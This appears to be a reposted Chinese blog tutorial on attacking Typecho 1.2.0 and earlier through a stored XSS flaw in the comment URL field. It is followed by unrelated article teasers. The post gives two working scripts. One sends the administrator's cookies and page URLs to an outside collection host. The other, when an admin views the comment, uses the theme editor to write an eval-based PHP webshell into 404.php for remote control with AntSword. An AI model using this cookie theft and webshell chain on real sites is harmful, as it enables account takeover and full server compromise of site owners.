Typecho框架漏洞

这里说的框架漏洞只适用于1.2.0版本及以下的版本

这里说的漏洞是xss漏洞,学过渗透的应该都学过,我在这里就不过多阐述了,下面我们直接进入正题

直接在这个地方插入网址,后面再接上html代码即可,代码如下:

http://xxx.xxx.com/"></a><script>alert("cookie")</script><a/href="#

然后再次访问时即可弹出一个框,这里学过xss漏洞的应该知道是什么意思了

接下来我要讲的是如何用这个xss漏洞反弹shell,这个方法我也是琢磨了很久才知道的,因为要用到js代码文件,代码文件如下:

cookie.js

// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";// 声明并立即执行一个匿名函数
(function() {// 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数(new Image()).src = website+ "/?keepsession=1"+ "&location=" + escape((function() {try {// 尝试获取当前文档的 URLreturn document.location.href;} catch (e) {// 如果出错,返回一个空字符串return '';}})())+ "&toplocation=" + escape((function() {try {// 尝试获取顶层窗口的 URLreturn top.location.href;} catch (e) {// 如果出错,返回一个空字符串return '';}})())+ "&cookie=" + escape((function() {try {// 获取当前文档的 cookiereturn document.cookie;} catch (e) {// 如果出错,返回一个空字符串return '';}})())+ "&opener=" + escape((function() {try {// 获取打开当前窗口的窗口的 URLreturn (window.opener && window.opener.location.href) ? window.opener.location.href : '';} catch (e) {// 如果出错,返回一个空字符串return '';}})());
})();

shell.js

function step1(){// 创建一个包含要注入的 iframe 的 HTML 字符串var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";// 保存原网页内容var oldata=document.body.innerHTML;// 将注入的 iframe 添加到文档中document.body.innerHTML=(oldata+data2);
}// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;function poc(){// 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行if(times<=10){// 获取要修改的 DOM 节点和触发“保存修改”操作的按钮var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');// 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾olddatas=htmldata.innerText;htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;// 点击保存按钮,提交修改后的数据btn[1].click();// 增加 poc 函数的执行次数times+=1;// 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口if(g_shell==1){var xhr1=new XMLHttpRequest();xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');xhr1.send();}else{return 0;}}
}// 在页面加载完成后执行 step1 函数
step1();

然后这里就像上面反弹xss代码一样书写网址

http://xxx.xxx.com/cookie.js"></script><script/src=http://xxx.xxx.com/shell.js><a/href="#

然后等管理员访问评论是会使得js文件也给运行起来

生成的一句话目录路径可以自己改,上面的如下

在404.php中,这样路径的问题就解决了

这样我们就可以用蚁剑或其他工具连接后台了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/194021.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【接口测试】最细Fiddle抓包辅助接口实战,抓包全过程总结...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、为什么需要抓包…

网页视频下载工具 iTubeGo mac中文版软件特色

iTubeGo YouTube Downloader mac是一款功能强大的YouTube视频下载工具。 iTubeGo YouTube Downloader mac软件特色 多种格式支持&#xff1a;iTubeGo YouTube Downloader可以将YouTube视频下载为多种常见的视频和音频格式&#xff0c;包括MP4、MP3、AVI、FLV、MOV、WMV等&…

系列十、你说你做过JVM调优和参数配置,请问如何盘点JVM系统的默认值?

一、JVM的参数类型 1.1、标配参数 java -versionjava -help 1.2、XX参数 1.2.1、Boolean类型 公式&#xff1a;-XX:或者- 某个属性值 表示开启、-表示关闭 # 是否打印GC收集细节 -XX:PrintGCDetails -XX:-PrintGCDetails# 是否使用串行垃圾收集器 -XX:UseSerialGC -XX:-UseS…

Flutter 中数据存储的四种方式

在 Flutter 中&#xff0c;存储是指用于本地和远程存储和管理数据的机制。以下是 Flutter 中不同存储选项的概述和示例。 Shared Preferences&#xff08;本地键值存储&#xff09; Shared Preferences 是一种在本地存储少量数据&#xff08;例如用户首选项或设置&#xff09…

AI工具合集

网站&#xff1a;未来百科 | 为发现全球优质AI工具产品而生 (6aiq.com) 如今&#xff0c;AI技术涉及到了很多领域&#xff0c;比如去水印、一键抠图、图像处理、AI图像生成等等。站长之家之前也分享过一些&#xff0c;但是在网上要搜索找到它们还是费一些功夫。 今天发现了一…

基于猕猴Spike运动解码的不同解码方法性能对比

公开数据集中文版详细描述 参考前文&#xff1a;https://editor.csdn.net/md/?not_checkout1&spm1011.2124.3001.6192神经元Spike信号分析 参考前文&#xff1a;https://blog.csdn.net/qq_43811536/article/details/134359566?spm1001.2014.3001.5501神经元运动调制分析 …

简历技术栈redis点

熟悉Redis常见的数据类型以及缓存问题&#xff0c;如缓存穿透、雪崩 、击穿等 Redis五种数据类型 Redis常用命令 查看所有 keys * 字符串类型string 常用命令 举例&#xff1a; 放置一个字符串数据到redis中&#xff0c;先为数据定义一个名称&#xff0c;比如name,age等&am…

低代码在ERP中的理解与应用:提升开发效率与业务灵活性

企业资源规划&#xff08;ERP&#xff09;指通过融合不同部门的信息和流程&#xff0c;提升企业效率、融洽运营的管理体系。ERP系统通过提供一套集成化应用程序&#xff0c;助力企业管理工作流程&#xff0c;包含选购、库存、销售、生产规划等。 低代码&#xff08;Low-Code&a…

【机器学习基础】正则化

&#x1f680;个人主页&#xff1a;为梦而生~ 关注我一起学习吧&#xff01; &#x1f4a1;专栏&#xff1a;机器学习 欢迎订阅&#xff01;后面的内容会越来越有意思~ ⭐特别提醒&#xff1a;针对机器学习&#xff0c;特别开始专栏&#xff1a;机器学习python实战 欢迎订阅&am…

实验五:Java多线程程序设计

一、线程接力 编写一个应用程序&#xff0c;除了主线程外&#xff0c;还有三个线程&#xff1a;first、second和third。first负责模拟一个红色的按钮从坐标&#xff08;10&#xff0c;60&#xff09;运动到&#xff08;100&#xff0c;60&#xff09;&#xff1b;second负责模…

未来 20 年 12 大发展趋势

未来 20 年 12 大发展趋势 周末闲来无聊&#xff0c;翻阅以前的材料&#xff0c;常读常新的感觉。 前言 跟30年后的我们相比&#xff0c;现在的我们就是一无所知。必须要相信那些不可能的事情&#xff0c;因为我们尚处于第一天的第一个小时——开始的开始。 技术都会有一个…

qsort函数使用方法总结

目录 一、qsort函数原型 二、compar参数 三、各种类型的qsort排序 1. int 数组排序 2. 结构体排序 3. 字符串指针数组排序 4. 字符串二维数组排序 四、回调函数 1. 什么是回调函数 2. 为什么要用回调函数&#xff1f; 3. 怎么使用回调函数&#xff1f; 4.下面是…